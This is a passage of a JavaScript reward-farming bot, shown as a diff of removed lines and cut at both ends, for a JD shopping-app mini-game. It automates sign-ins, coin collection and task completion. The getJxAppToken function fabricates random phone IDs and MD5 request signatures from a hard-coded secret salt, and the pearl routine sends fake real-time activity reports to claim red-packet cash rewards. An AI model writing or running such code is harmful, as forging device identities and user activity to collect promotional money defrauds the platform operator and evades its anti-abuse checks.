$.wait(2000) - } - } - - } - }catch (e) { - console.log(e); - } -} -// 故事会 -async function StoryInfo(){ - try{ - if($.HomeInfo.StoryInfo && $.HomeInfo.StoryInfo.StoryList){ - let additional = `` - let stk = `` - let type = `` - let res = `` - await $.wait(1000) - // 点击故事 - if($.HomeInfo.StoryInfo.StoryList[0].dwStatus == 1){ - if($.HomeInfo.StoryInfo.StoryList[0].dwType == 4){ - console.log(`\n贩卖`) - additional = `&ptag=&strStoryId=${$.HomeInfo.StoryInfo.StoryList[0].strStoryId}&dwType=2&ddwTriggerDay=${$.HomeInfo.StoryInfo.StoryList[0].ddwTriggerDay}` - stk = `_cfd_t,bizCode,ddwTriggerDay,dwEnv,dwType,ptag,source,strStoryId,strZone` - type = `CollectorOper` - res = await taskGet(`story/${type}`, stk, additional) - // console.log(JSON.stringify(res)) - }else if($.HomeInfo.StoryInfo.StoryList[0].dwType == 1){ - console.log(`\n故事会[${$.HomeInfo.StoryInfo.StoryList[0].Special.strName}]`) - additional = `&ptag=&strStoryId=${$.HomeInfo.StoryInfo.StoryList[0].strStoryId}&dwType=2&triggerType=${$.HomeInfo.StoryInfo.StoryList[0].Special.dwTriggerType}&ddwTriggerDay=${$.HomeInfo.StoryInfo.StoryList[0].ddwTriggerDay}` - stk = `_cfd_t,bizCode,ddwTriggerDay,dwEnv,dwType,ptag,source,strStoryId,strZone,triggerType` - type = `SpecialUserOper` - res = await taskGet(`story/${type}`, stk, additional) - // console.log(JSON.stringify(res)) - }else if($.HomeInfo.StoryInfo.StoryList[0].dwType == 2){ - console.log(`\n美人鱼`) - additional = `&ptag=&strStoryId=${$.HomeInfo.StoryInfo.StoryList[0].strStoryId}&dwType=1&ddwTriggerDay=${$.HomeInfo.StoryInfo.StoryList[0].ddwTriggerDay}` - stk = `_cfd_t,bizCode,ddwTriggerDay,dwEnv,dwType,ptag,source,strStoryId,strZone` - type = `MermaidOper` - res = await taskGet(`story/${type}`, stk, additional) - console.log(JSON.stringify(res)) - } - } - if($.HomeInfo.StoryInfo.StoryList[0].dwType == 4 && ( (res && res.iRet == 0) || res == '')){ - await pickshell(4) - await $.wait(1000) - console.log(`查询背包`) - additional = `&ptag=` - stk = `_cfd_t,bizCode,dwEnv,ptag,source,strZone` - res = await taskGet(`story/querystorageroom`, stk, additional) - let TypeCnt = [] - if(res.Data && res.Data.Office){ - for(let i of res.Data.Office){ - TypeCnt.push(`${i.dwType}:${i.dwCount}`) - } - } - TypeCnt = TypeCnt.join(`|`) - if(TypeCnt){ - console.log(`出售`) - await $.wait(1000) - additional = `&ptag=&strTypeCnt=${TypeCnt}&dwSceneId=2` - stk = `_cfd_t,bizCode,dwEnv,dwSceneId,ptag,source,strTypeCnt,strZone` - res = await taskGet(`story/sellgoods`, stk, additional) - await printRes(res, '贩卖') - additional = `&ptag=&strStoryId=${$.HomeInfo.StoryInfo.StoryList[0].strStoryId}&dwType=4&ddwTriggerDay=${$.HomeInfo.StoryInfo.StoryList[0].ddwTriggerDay}` - stk = `_cfd_t,bizCode,ddwTriggerDay,dwEnv,dwType,ptag,source,strStoryId,strZone` - type = `CollectorOper` - res = await taskGet(`story/${type}`, stk, additional) - // console.log(JSON.stringify(res)) - } - }else if($.HomeInfo.StoryInfo.StoryList[0].dwType == 1 && ( (res && res.iRet == 0) || res == '')){ - if(res && res.iRet == 0 && res.Data && res.Data.Serve && res.Data.Serve.dwWaitTime){ - console.log(`等待 ${res.Data.Serve.dwWaitTime}秒`) - await $.wait(res.Data.Serve.dwWaitTime * 1000) - await $.wait(1000) - } - additional = `&ptag=&strStoryId=${$.HomeInfo.StoryInfo.StoryList[0].strStoryId}&dwType=3&triggerType=${$.HomeInfo.StoryInfo.StoryList[0].Special.dwTriggerType}&ddwTriggerDay=${$.HomeInfo.StoryInfo.StoryList[0].ddwTriggerDay}` - stk = `_cfd_t,bizCode,ddwTriggerDay,dwEnv,dwType,ptag,source,strStoryId,strZone,triggerType` - type = `SpecialUserOper` - res = await taskGet(`story/${type}`, stk, additional) - await printRes(res, `故事会[${$.HomeInfo.StoryInfo.StoryList[0].Special.strName}]`) - // console.log(JSON.stringify(res)) - - }else if($.HomeInfo.StoryInfo.StoryList[0].dwType == 2 && ( (res && res.iRet == 0) || res == '')){ - if($.HomeInfo.StoryInfo.StoryList[0].dwStatus == 4){ - additional = `&ptag=&strStoryId=${$.HomeInfo.StoryInfo.StoryList[0].strStoryId}&dwType=4&ddwTriggerDay=${$.HomeInfo.StoryInfo.StoryList[0].ddwTriggerDay}` - }else{ - additional = `&ptag=&strStoryId=${$.HomeInfo.StoryInfo.StoryList[0].strStoryId}&dwType=2&ddwTriggerDay=${$.HomeInfo.StoryInfo.StoryList[0].ddwTriggerDay}` - } - await $.wait(5000) - stk = `_cfd_t,bizCode,ddwTriggerDay,dwEnv,dwType,ptag,source,strStoryId,strZone` - type = `MermaidOper` - res = await taskGet(`story/${type}`, stk, additional) - await printRes(res,'美人鱼') - // console.log(JSON.stringify(res)) - } - } - }catch (e) { - $.logErr(e); - } -} -// 建筑升级 -async function buildList(){ - try{ - await $.wait(2000) - console.log(`\n升级房屋、收集金币\n(升级:需要当前金币大于升级金币的2.5倍)`) - if($.buildList){ - for(let i in $.buildList){ - let item = $.buildList[i] - let title = '未识别' - if(item.strBuildIndex == 'food'){ - title = '美食城' - }else if(item.strBuildIndex == 'sea'){ - title = '旅馆' - }else if(item.strBuildIndex == 'shop'){ - title = '商店' - }else if(item.strBuildIndex == 'fun'){ - title = '游乐场' - } - let additional = `&strBuildIndex=${item.strBuildIndex}` - let stk= `_cfd_t,bizCode,dwEnv,ptag,source,strBuildIndex,strZone` - let GetBuildInfo = await taskGet(`user/GetBuildInfo`, stk, additional) - let msg = `\n[${title}] 当前等级:${item.dwLvl} 接待收入:${item.ddwOneceVistorAddCoin}/人 座位人数:${item.dwContain}` - if(GetBuildInfo) msg += `\n升级->需要金币:${addChineseUnit(GetBuildInfo.ddwNextLvlCostCoin, 4)} 获得财富:${GetBuildInfo.ddwLvlRich}` - console.log(msg) - await $.wait(1000) - if(GetBuildInfo.dwCanLvlUp > 0){ - if(item.dwLvl == 0){ - console.log(`开启${title}`) - await taskGet(`user/createbuilding`, stk, additional) - await $.wait(2000) - }else{ - if(GetBuildInfo && GetBuildInfo.ddwNextLvlCostCoin * 2.5 < parseInt($.HomeInfo.ddwCoinBalance,10)){ - console.log(`升级${title}`) - additional = `&strBuildIndex=${GetBuildInfo.strBuildIndex}&ddwCostCoin=${GetBuildInfo.ddwNextLvlCostCoin}` - stk = `_cfd_t,bizCode,ddwCostCoin,dwEnv,ptag,source,strBuildIndex,strZone` - let update = await taskGet(`user/BuildLvlUp`, stk, additional) - $.HomeInfo.ddwCoinBalance -= GetBuildInfo.ddwNextLvlCostCoin - if(update && update.story && update.story.strToken){ - await $.wait(Number(update.story.dwWaitTriTime) * 1000) - await $.wait(1000) - additional= `&strToken=${update.story.strToken}&ddwTriTime=${update.story.ddwTriTime}` - stk = `_cfd_t,bizCode,dwEnv,ptag,source,strBuildIndex,strZone` - // await taskGet(`story/QueryUserStory`, stk, additional) - } - await $.wait(2000) - } - } - } - additional = `&strBuildIndex=${GetBuildInfo.strBuildIndex}&dwType=1` - stk = `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strBuildIndex,strZone` - let CollectCoin = await taskGet(`user/CollectCoin`, stk, additional) - if(CollectCoin && CollectCoin.ddwCoinBalance){ - console.log(`收集金币:${addChineseUnit(CollectCoin.ddwCoin, 4)} 当前剩余:${addChineseUnit(CollectCoin.ddwCoinBalance, 4)}`) - $.HomeInfo.ddwCoinBalance = CollectCoin.ddwCoinBalance - await $.wait(Number(CollectCoin.story.dwWaitTriTime) * 1000) - additional= `&strToken=${CollectCoin.story.strToken}&ddwTriTime=${CollectCoin.story.ddwTriTime}` - stk = `_cfd_t,bizCode,dwEnv,ptag,source,strBuildIndex,strZone` - // await taskGet(`story/QueryUserStory`, stk, additional) - } - await $.wait(1000) - } - await GetHomePageInfo() - await $.wait(1000) - } - if($.Fund && $.Fund.dwIsGetGift < $.Fund.dwIsShowFund){ - console.log(`\n领取开拓基金${Number($.Fund.strGiftName)}元`) - let additional= `` - let stk= `_cfd_t,bizCode,dwEnv,ptag,source,strZone` - let drawpackprize = await taskGet(`user/drawpackprize`, stk, additional) - } - - }catch (e) { - $.logErr(e); - } -} -// 签到 邀请奖励 -async function sign(){ - try{ - // 签到 - await $.wait(2000) - $.Aggrtask = await taskGet(`story/GetTakeAggrPage`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone', '&ptag=') - if($.Aggrtask && $.Aggrtask.Data && $.Aggrtask.Data.Sign){ - if($.Aggrtask.Data.Sign.dwTodayStatus == 0) { - console.log('\n签到') - let flag = false - let ddwCoin = 0 - let ddwMoney = 0 - let dwPrizeType = 0 - let strPrizePool = 0 - let dwPrizeLv = 0 - for(i of $.Aggrtask.Data.Sign.SignList){ - if(i.dwStatus == 0){ - flag = true - ddwCoin = i.ddwCoin || 0 - ddwMoney = i.ddwMoney || 0 - dwPrizeType = i.dwPrizeType || 0 - strPrizePool = i.strPrizePool || 0 - dwPrizeLv = i.dwBingoLevel || 0 - break; - } - } - if(flag){ - let e = getJxAppToken() - let additional = `&ptag=&ddwCoin=${ddwCoin}&ddwMoney=${ddwMoney}&dwPrizeType=${dwPrizeType}&strPrizePool${strPrizePool && '='+strPrizePool ||''}&dwPrizeLv=${dwPrizeLv}&strPgtimestamp=${e.strPgtimestamp}&strPhoneID=${e.strPhoneID}&strPgUUNum=${e.strPgUUNum}` - let stk= `_cfd_t,bizCode,ddwCoin,ddwMoney,dwEnv,dwPrizeLv,dwPrizeType,ptag,source,strPrizePool,strPgUUNum,strPgtimestamp,strPhoneID,strZone` - let res = await taskGet(`story/RewardSign`, stk, additional) - await printRes(res, '签到') - } - } - } - - if($.Aggrtask && $.Aggrtask.Data && $.Aggrtask.Data.Employee && $.Aggrtask.Data.Employee.EmployeeList){ - if($.Aggrtask.Data && $.Aggrtask.Data.Employee && $.Aggrtask.Data.Employee.EmployeeList){ - console.log(`\n领取邀请奖励(${$.Aggrtask.Data.Employee.EmployeeList.length || 0}/${$.Aggrtask.Data.Employee.dwNeedTotalPeople || 0})`) - for(let i of $.Aggrtask.Data.Employee.EmployeeList){ - if(i.dwStatus == 0){ - let res = await taskGet(`story/helpdraw`, '_cfd_t,bizCode,dwEnv,dwUserId,ptag,source,strZone', `&ptag=&dwUserId=${i.dwId}`) - await printRes(res, '邀请奖励') - } - } - } - } - }catch (e) { - $.logErr(e); - } -} -// 签到-小程序 -async function signs(){ - try{ - // 签到-小程序 - await $.wait(2000) - $.Aggrtask = await taskGet(`story/GetTakeAggrPages`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone', '&ptag=') - if($.Aggrtask && $.Aggrtask.Data && $.Aggrtask.Data.Sign){ - if($.Aggrtask.Data.Sign.dwTodayStatus == 0) { - console.log('\n签到-小程序') - let flag = false - let ddwCoin = 0 - let ddwMoney = 0 - let dwPrizeType = 0 - let strPrizePool = 0 - let dwPrizeLv = 0 - for(i of $.Aggrtask.Data.Sign.SignList){ - if(i.dwStatus == 0){ - flag = true - ddwCoin = i.ddwCoin || 0 - ddwMoney = i.ddwMoney || 0 - dwPrizeType = i.dwPrizeType || 0 - strPrizePool = i.strPrizePool || 0 - dwPrizeLv = i.dwBingoLevel || 0 - break; - } - } - if(flag){ - let e = getJxAppToken() - let additional = `&ptag=&ddwCoin=${ddwCoin}&ddwMoney=${ddwMoney}&dwPrizeType=${dwPrizeType}&strPrizePool${strPrizePool && '='+strPrizePool ||''}&dwPrizeLv=${dwPrizeLv}&strPgtimestamp=${e.strPgtimestamp}&strPhoneID=${e.strPhoneID}&strPgUUNum=${e.strPgUUNum}` - let stk= `_cfd_t,bizCode,ddwCoin,ddwMoney,dwEnv,dwPrizeLv,dwPrizeType,ptag,source,strPrizePool,strPgUUNum,strPgtimestamp,strPhoneID,strZone` - let res = await taskGet(`story/RewardSigns`, stk, additional) - await printRes(res, '签到-小程序') - } - } - } - }catch (e) { - $.logErr(e); - } -} -// 捡垃圾 -async function pickshell(num = 1){ - return new Promise(async (resolve) => { - try{ - console.log(`\n捡垃圾`) - // pickshell dwType 1珍珠 2海螺 3大海螺 4海星 5小贝壳 6扇贝 - for(i=1;num--;i++){ - await $.wait(2000) - $.queryshell = await taskGet(`story/queryshell`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone', `&ptag=`) - let c = 6 - for(i=1;c--;i++){ - let o = 1 - let name = '珍珠' - if(i == 2) name = '海螺' - if(i == 3) name = '大海螺' - if(i == 4) name = '海星' - if(i == 5) name = '小贝壳' - if(i == 6) name = '扇贝' - do{ - console.log(`去捡${name}第${o}次`) - o++; - let res = await taskGet(`story/pickshell`, '_cfd_t,bizCode,dwEnv,dwType,ptag,source,strZone', `&ptag=&dwType=${i}`) - await $.wait(200) - if(!res || res.iRet != 0){ - break - } - }while (o < 20) - } - } - }catch (e) { - $.logErr(e); - } - finally { - resolve(); - } - }) -} -// 热气球接客 -async function service(num = 1){ - return new Promise(async (resolve) => { - try{ - console.log(`\n热气球接客`) - let arr = ['food','sea','shop','fun'] - for(i=1;num--;i++){ - let strBuildIndex = arr[Math.floor((Math.random()*arr.length))] - console.log(`第${i}/${num+i}次:${strBuildIndex}`) - let res = await taskGet(`user/SpeedUp`, '_cfd_t,bizCode,dwEnv,ptag,source,strBuildIndex,strZone', `&ptag=&strBuildIndex=${strBuildIndex}`) - if(res && res.iRet == 0){ - console.log(`当前气球次数:${res.dwTodaySpeedPeople} 金币速度:${res.ddwSpeedCoin}`) - // additional= `&strToken=${res.story.strToken}&ddwTriTime=${res.story.ddwTriTime}` - // stk = `_cfd_t,bizCode,dwEnv,ptag,source,strBuildIndex,strZone` - // await taskGet(`story/QueryUserStory`, stk, additional) - await $.wait(1000) - } - } - }catch (e) { - $.logErr(e); - } - finally { - resolve(); - } - }) -} -// 倒垃圾 -async function RubbishOper(){ - try{ - // 倒垃圾 - await $.wait(2000) - $.QueryRubbishInfo = await taskGet(`story/QueryRubbishInfo`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone', '&ptag=') - if($.QueryRubbishInfo && $.QueryRubbishInfo.Data && $.QueryRubbishInfo.Data.StoryInfo.StoryList){ - for(let i of $.QueryRubbishInfo.Data.StoryInfo.StoryList){ - let res = '' - if(i.strStoryId == 3){ - console.log(`\n倒垃圾`) - $.RubbishOper = await taskGet(`story/RubbishOper`, '_cfd_t,bizCode,dwEnv,dwRewardType,dwType,ptag,source,strZone', '&ptag=&dwType=1&dwRewardType=0') - if($.RubbishOper && $.RubbishOper.Data && $.RubbishOper.Data.ThrowRubbish && $.RubbishOper.Data.ThrowRubbish.Game && $.RubbishOper.Data.ThrowRubbish.Game.RubbishList){ - for(let j of $.RubbishOper.Data.ThrowRubbish.Game.RubbishList){ - console.log(`放置[${j.strName}]等待任务完成`) - res = await taskGet(`story/RubbishOper`, '_cfd_t,bizCode,dwEnv,dwRewardType,dwRubbishId,dwType,ptag,source,strZone', `&ptag=&dwType=2&dwRewardType=0&dwRubbishId=${j.dwId}`) - await $.wait(2000) - } - if(res && res.Data && res.Data.RubbishGame && res.Data.RubbishGame.AllRubbish && res.Data.RubbishGame.AllRubbish.dwIsGameOver && res.Data.RubbishGame.AllRubbish.dwIsGameOver == 1){ - console.log(`任务完成获得:${res.Data.RubbishGame.AllRubbish.ddwCoin && res.Data.RubbishGame.AllRubbish.ddwCoin+'金币' || ''}`) - }else{ - console.log(JSON.stringify(res)) - } - } - } - } - } - }catch (e) { - $.logErr(e); - } -} -// 雇佣导游 -async function Guide(){ - try{ - await $.wait(2000) - $.Employtask = await taskGet(`user/EmployTourGuideInfo`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone', '&ptag=') - if($.Employtask && $.Employtask.TourGuideList){ - console.log(`\n雇佣导游`) - let num = $.Employtask.dwRemainGuideCnt - console.log(`当前可雇佣劳动人数:${num}`) - let arr = []; - for(let i in $.Employtask.TourGuideList){ - let item = $.Employtask.TourGuideList[i] - let larr = [],res = true - arr.forEach((x)=>{ - if(x.ddwProductCoin < item.ddwProductCoin && res == true){ - larr.push(item) - res = false - } - larr.push(x) - }) - if(res) larr.push(item) - arr = larr - } - for(let i of arr){ - console.log(`${i.strGuideName} 收益:${i.ddwProductCoin} 支付成本:${i.ddwCostCoin} 剩余工作时长:${timeFn(Number(i.ddwRemainTm || 0) * 1000)}`) - let dwIsFree = 0 - let ddwConsumeCoin = i.ddwCostCoin - if(i.dwFreeMin != 0) dwIsFree = 1 - if(num > 0 && i.ddwRemainTm == 0){ - res = await taskGet(`user/EmployTourGuide`, '_cfd_t,bizCode,ddwConsumeCoin,dwEnv,dwIsFree,ptag,source,strBuildIndex,strZone', `&ptag=&strBuildIndex=${i.strBuildIndex}&dwIsFree=${dwIsFree}&ddwConsumeCoin=${ddwConsumeCoin}`) - if(res.iRet == 0){ - console.log(`雇佣成功`) - num--; - }else{ - console.log(`雇佣失败:`, JSON.stringify(res)) - } - await $.wait(3000) - } - } - } - - }catch (e) { - $.logErr(e); - } -} -// 撸珍珠 -async function Pearl(){ - try{ - await $.wait(2000) - $.ComposeGameState = await taskGet(`user/ComposePearlState`, '', '&dwGetType=0') - if (!$.ComposeGameState) return - if ($.ComposeGameState.iRet == "2240" || $.ComposeGameState.sErrMsg.indexOf("暂未开放") > -1) { - console.log("\n撸珍珠活动未开放") - $.pearlEnd = true - return - } - console.log(`\n当前有${$.ComposeGameState.dwCurProgress}个珍珠${$.ComposeGameState.ddwVirHb && ' '+$.ComposeGameState.ddwVirHb/100+"红包" || ''}`) - if($.ComposeGameState.dayDrawInfo.dwIsDraw == 0){ - let res = '' - res = await taskGet(`user/GetPearlDailyReward`, '__t,strZone', ``) - if(res && res.iRet == 0 && res.strToken){ - res = await taskGet(`user/PearlDailyDraw`, '__t,ddwSeaonStart,strToken,strZone', `&ddwSeaonStart=${$.ComposeGameState.ddwSeasonStartTm}&strToken=${res.strToken}`) - if(res && res.iRet == 0){ - if(res.strPrizeName){ - console.log(`抽奖获得:${res.strPrizeName || $.toObj(res,res)}`) - }else{ - console.log(`抽奖获得:${$.toObj(res,res)}`) - } - }else{ - console.log("抽奖失败\n"+$.toObj(res,res)) - } - }else{ - console.log($.toObj(res,res)) - } - } - if (($.ComposeGameState.dwCurProgress < 8 || true) && $.ComposeGameState.strDT) { - let b = 1 - console.log(`合珍珠${b}次 `) - // b = 8-$.ComposeGameState.dwCurProgress - for(i=1;b--;i++){ - let n = Math.ceil(Math.random()*12+12) - console.log(`上报次数${n}`) - for(m=1;n--;m++){ - console.log(`上报第${m}次`) - await $.wait(5000) - await taskGet(`user/RealTmReport`, '', `&dwIdentityType=0&strBussKey=composegame&strMyShareId=${$.ComposeGameState.strMyShareId}&ddwCount=10`) - let s = Math.floor((Math.random()*3)) - let n = 0 - if(s == 1) n = 1 - if(n === 1){ - let res = await taskGet(`user/ComposePearlAward`, '__t,size,strBT,strZone,type', `__t=${Date.now()}&type=4&size=1&strBT=${$.ComposeGameState.strDT}`) - if(res && res.iRet == 0){ - console.log(`上报得红包:${res.ddwAwardHb && '获得'+res.ddwAwardHb/100+"红包" || ''}${res.ddwVirHb && ' 当前有'+res.ddwVirHb/100+"红包" || ''}`) - }else{ - console.log($.toObj(res,res)) - } - } - } - console.log("合成珍珠") - let strLT = ($.ComposeGameState.oPT || [])[$.ComposeGameState.ddwCurTime % ($.ComposeGameState.oPT || []).length] - let res = await taskGet(`user/ComposePearlAddProcess`, '__t,strBT,strLT,strZone', `&strBT=${$.ComposeGameState.strDT}&strLT=${strLT}`) - if(res && res.iRet == 0){ - console.log(`合成成功:${res.ddwAwardHb && '获得'+res.ddwAwardHb/100+"红包 " || ''}当前有${res.dwCurProgress}个珍珠${res.ddwVirHb && ' '+res.ddwVirHb/100+"红包" || ''}`) - }else{ - console.log(JSON.stringify(res)) - } - $.ComposeGameState = await taskGet(`user/ComposePearlState`, '', '&dwGetType=0') - } - } - for (let i of $.ComposeGameState.stagelist || []) { - if (i.dwIsAward == 0 && $.ComposeGameState.dwCurProgress >= i.dwCurStageEndCnt) { - await $.wait(2000) - let res = await taskGet(`user/ComposeGameAward`, '__t,dwCurStageEndCnt,strZone', `&dwCurStageEndCnt=${i.dwCurStageEndCnt}`) - await printRes(res,'珍珠领奖') - } - } - }catch (e) { - $.logErr(e); - } -} -// 牛牛任务 -async function ActTask(){ - try{ - let res = '' - await $.wait(2000) - $.Biztask = await taskGet(`story/GetActTask`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone', '&ptag=') - if($.Biztask && $.Biztask.Data && $.Biztask.Data.dwStatus != 4){ - console.log(`\n牛牛任务`) - if($.Biztask.Data.dwStatus == 3 && $.Biztask.Data.dwTotalTaskNum && $.Biztask.Data.dwCompleteTaskNum && $.Biztask.Data.dwTotalTaskNum == $.Biztask.Data.dwCompleteTaskNum){ - res = await taskGet(`story/ActTaskAward`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone', `&ptag=`) - if(res.iRet == 0){ - console.log(`领取全部任务奖励:`, res.Data.ddwBigReward || '') - }else{ - console.log(`领取全部任务奖励失败:`, JSON.stringify(res)) - } - } - for(let i in $.Biztask.Data.TaskList){ - let item = $.Biztask.Data.TaskList[i] - if(item.dwAwardStatus != 2 && item.dwCompleteNum === item.dwTargetNum) continue - console.log(`任务 ${item.strTaskName} ${item.dwCompleteNum}/${item.dwTargetNum}`) - if (item.dwAwardStatus == 2 && item.dwCompleteNum === item.dwTargetNum) { - res = await taskGet(`Award1`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone,taskId', `&ptag=&taskId=${item.ddwTaskId}`) - if(res.ret == 0){ - if(res.data.prizeInfo){ - res.data.prizeInfo = $.toObj(res.data.prizeInfo) - } - if(res.data.prizeInfo.ddwCoin || res.data.prizeInfo.ddwMoney){ - console.log(`${item.strTaskName} 领取奖励:${res.data.prizeInfo.ddwCoin && addChineseUnit(res.data.prizeInfo.ddwCoin, 4)+'金币' || ''} ${res.data.prizeInfo.ddwMoney && res.data.prizeInfo.ddwMoney+'财富' || ''}`) - }else{ - console.log(`${item.strTaskName} 领取奖励:`, JSON.stringify(res)) - } - }else{ - console.log(`${item.strTaskName} 领取奖励失败:`, JSON.stringify(res)) - } - await $.wait(1000) - } - if(item.dwAwardStatus == 2 && item.dwCompleteNum < item.dwTargetNum && [1,2].includes(item.dwOrderId)){ - await $.wait(1000) - if(item.strTaskName.indexOf('热气球接待') > -1){ - let b = (item.dwTargetNum-item.dwCompleteNum) - // 热气球接客 - await service(b) - await $.wait((Number(item.dwLookTime) * 1000) || 1000) - }else if([15,16,301].includes(item.dwPointType)){ - await $.wait((Number(item.dwLookTime) * 1000) || 1000) - res = await taskGet('DoTask1', '_cfd_t,bizCode,configExtra,dwEnv,ptag,source,strZone,taskId', `&ptag=&taskId=${item.ddwTaskId}&configExtra=`) - } - await $.wait(1000) - res = await taskGet(`Award1`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone,taskId', `&ptag=&taskId=${item.ddwTaskId}`) - if(res.ret == 0){ - if(res.data.prizeInfo){ - res.data.prizeInfo = $.toObj(res.data.prizeInfo) - } - if(res.data.prizeInfo.ddwCoin || res.data.prizeInfo.ddwMoney || res.data.prizeInfo.strPrizeName){ - console.log(`${item.strTaskName} 领取奖励:${res.data.prizeInfo.ddwCoin && ' '+addChineseUnit(res.data.prizeInfo.ddwCoin, 4)+'金币' || ''}${res.data.prizeInfo.ddwMoney && ' '+res.data.prizeInfo.ddwMoney+'财富' || ''}${res.data.prizeInfo.strPrizeName && ' '+res.data.prizeInfo.strPrizeName+'红包' || ''}`) - }else{ - console.log(`${item.strTaskName} 领取奖励:`, JSON.stringify(res)) - } - }else{ - console.log(`${item.strTaskName} 领取奖励失败:`, JSON.stringify(res)) - } - await $.wait(1000) - } - } - } - - }catch (e) { - $.logErr(e); - } -} -// 日常任务、成就任务 -async function UserTask(){ - try{ - await $.wait(2000) - let res = '' - $.task = await taskGet(`GetUserTaskStatusList`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone,taskId', '&ptag=&taskId=0') - if($.task && $.task.data && $.task.data.userTaskStatusList){ - console.log(`\n日常任务、成就任务`) - for(let i in $.task.data.userTaskStatusList){ - let item = $.task.data.userTaskStatusList[i] - if(item.awardStatus != 2 && item.completedTimes === item.targetTimes) continue - console.log(`任务 ${item.taskName} (${item.completedTimes}/${item.targetTimes})`) - if (item.awardStatus == 2 && item.completedTimes === item.targetTimes) { - res = await taskGet(`Award`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone,taskId', `&ptag=&taskId=${item.taskId}`) - if(res.ret == 0){ - if(res.data.prizeInfo){ - res.data.prizeInfo = $.toObj(res.data.prizeInfo) - } - if(res.data.prizeInfo.ddwCoin || res.data.prizeInfo.ddwMoney || res.data.prizeInfo.strPrizeName){ - console.log(`${item.taskName} 领取奖励:${res.data.prizeInfo.ddwCoin && ' '+addChineseUnit(res.data.prizeInfo.ddwCoin, 4)+'金币' || ''}${res.data.prizeInfo.ddwMoney && ' '+res.data.prizeInfo.ddwMoney+'财富' || ''}${res.data.prizeInfo.strPrizeName && ' '+res.data.prizeInfo.strPrizeName+'红包' || ''}`) - }else{ - console.log(`${item.taskName} 领取奖励:`, JSON.stringify(res)) - } - }else{ - console.log(`${item.taskName} 领取奖励失败:`, JSON.stringify(res)) - } - await $.wait(1000) - } - if(item.dateType == 2){ - if(item.completedTimes < item.targetTimes && ![7,8,9,10].includes(item.orderId) && ![20].includes(item.taskType)){ - if(item.taskName.indexOf('捡贝壳') >-1 || item.taskName.indexOf('赚京币任务') >-1 || item.taskName.indexOf('升级') >-1) continue - let b = (item.targetTimes-item.completedTimes) - for(i=1;b--;i++){ - console.log(`第${i}次`) - res = await taskGet('DoTask', '_cfd_t,bizCode,configExtra,dwEnv,ptag,source,strZone,taskId', `&ptag=&taskId=${item.taskId}&configExtra=`) - await $.wait(5000) - } - res = await taskGet(`Award`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone,taskId', `&ptag=&taskId=${item.taskId}`) - if(res.ret == 0){ - if(res.data.prizeInfo){ - res.data.prizeInfo = $.toObj(res.data.prizeInfo) - } - if(res.data.prizeInfo.ddwCoin || res.data.prizeInfo.ddwMoney || res.data.prizeInfo.strPrizeName){ - console.log(`${item.taskName} 领取奖励:${res.data.prizeInfo.ddwCoin && ' '+addChineseUnit(res.data.prizeInfo.ddwCoin, 4)+'金币' || ''}${res.data.prizeInfo.ddwMoney && ' '+res.data.prizeInfo.ddwMoney+'财富' || ''}${res.data.prizeInfo.strPrizeName && ' '+res.data.prizeInfo.strPrizeName+'红包' || ''}`) - }else{ - console.log(`${item.taskName} 领取奖励:`, JSON.stringify(res)) - } - }else{ - console.log(`${item.taskName} 领取奖励失败:`, JSON.stringify(res)) - } - }else if(item.awardStatus === 2 && [1].includes(item.orderId)){ - } - await $.wait(1000) - }else if(item.dateType == 1){ - // console.log('enensss') - } - // break - } - } - - }catch (e) { - $.logErr(e); - } -} - -function printRes(res, msg=''){ - if(res.iRet == 0 && (res.Data || res.ddwCoin || res.ddwMoney || res.strPrizeName)){ - let result = res - if(res.Data){ - result = res.Data - } - if(result.ddwCoin || result.ddwMoney || result.strPrizeName || result.StagePrizeInfo && result.StagePrizeInfo.strPrizeName){ - console.log(`${msg}获得:${result.ddwCoin && ' '+addChineseUnit(result.ddwCoin, 4)+'金币' || ''}${result.ddwMoney && ' '+result.ddwMoney+'财富' || ''}${result.strPrizeName && ' '+result.strPrizeName+'红包' || ''}${result.StagePrizeInfo && result.StagePrizeInfo.strPrizeName && ' '+result.StagePrizeInfo.strPrizeName || ''}`) - }else if(result.Prize){ - console.log(`${msg}获得: ${result.Prize.strPrizeName && '优惠券 '+result.Prize.strPrizeName || ''}`) - }else if(res && res.sErrMsg){ - console.log(res.sErrMsg) - }else{ - console.log(`${msg}完成`, JSON.stringify(res)) - // console.log(`完成`) - } - }else if(res && res.sErrMsg){ - console.log(`${msg}失败:${res.sErrMsg}`) - }else{ - console.log(`${msg}失败:${JSON.stringify(res)}`) - } -} -function getJxAppToken(){ - function generateStr(e) { - e = e || 32; - let t = "abcdefghijklmnopqrstuvwxyz1234567890", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n - } - let phoneId = generateStr(40); - let timestamp = Date.now().toString(); - let pgUUNum = $.CryptoJS.MD5('' + decodeURIComponent($.UserName || '') + timestamp + phoneId + 'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy').toString($.CryptoJS.enc.MD5); - return { - 'strPgtimestamp': timestamp, - 'strPhoneID': phoneId, - 'strPgUUNum': pgUUNum - } -} -async function noviceTask(){ - let additional= `` - let stk= `` - additional= `` - stk= `_cfd_t,bizCode,dwEnv,ptag,source,strZone` - await taskGet(`user/guideuser`, stk, additional) - additional= `&strMark=guider_step&strValue=welcom&dwType=2` - stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` - await taskGet(`user/SetMark`, stk, additional) - additional= `&strMark=guider_over_flag&strValue=999&dwType=2` - stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` - await taskGet(`user/SetMark`, stk, additional) - additional= `&strMark=guider_step&strValue=999&dwType=2` - stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` - await taskGet(`user/SetMark`, stk, additional) - additional= `&strMark=guider_step&strValue=999&dwType=2` - stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` - await 